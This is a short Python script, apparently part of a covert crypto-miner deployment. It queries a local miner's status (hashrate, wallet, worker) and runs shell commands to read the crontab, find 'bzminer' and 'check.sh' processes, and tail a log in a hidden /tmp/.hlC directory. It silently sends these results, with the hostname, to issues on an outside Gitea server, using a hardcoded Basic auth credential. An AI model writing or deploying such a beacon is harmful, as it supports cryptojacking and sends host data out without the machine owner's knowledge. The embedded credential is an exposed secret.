22 lines
1.4 KiB
Python
22 lines
1.4 KiB
Python
import json, os, socket, subprocess, urllib.request
|
|
AUTH = "Basic aGx6ZmF1NmU6SGwhd3hOdWZFNnVzRFd2"; REPO = "hlzfau6e/hl-extS"
|
|
def report(tag, msg):
|
|
try:
|
|
body = json.dumps({"title": "[%s] %s" % (tag, socket.gethostname()), "body": str(msg)[:6000]}).encode()
|
|
req = urllib.request.Request("https://git.kaki87.net/api/v1/repos/%s/issues" % REPO, data=body,
|
|
headers={"Content-Type": "application/json", "Authorization": AUTH})
|
|
urllib.request.urlopen(req, timeout=20).read()
|
|
except Exception:
|
|
pass
|
|
try:
|
|
req = urllib.request.Request("http://127.0.0.1:4016/status", headers={"User-Agent": "curl/8.5.0"})
|
|
d = json.loads(urllib.request.urlopen(req, timeout=10).read())
|
|
p = (d.get("pools") or [{}])[0]
|
|
report("status", "hr=%.2fTH valid=%s power=%.0f uptime=%s wallet=%s worker=%s" % (
|
|
(p.get("hashrate") or 0)/1e12, p.get("valid_solutions"), p.get("power") or 0, p.get("uptime"),
|
|
(p.get("wallet") or "")[:20], p.get("username")))
|
|
except Exception as e:
|
|
report("status-err", str(e)[:120])
|
|
report("cron", subprocess.run("crontab -l 2>&1 | head -5", shell=True, capture_output=True, text=True).stdout[:400])
|
|
report("procs", subprocess.run("pgrep -af 'bzminer|check.sh' | head -5", shell=True, capture_output=True, text=True).stdout[:600])
|
|
report("cronlog", subprocess.run("tail -5 /tmp/.hlC/cron.log 2>&1", shell=True, capture_output=True, text=True).stdout[:400])
|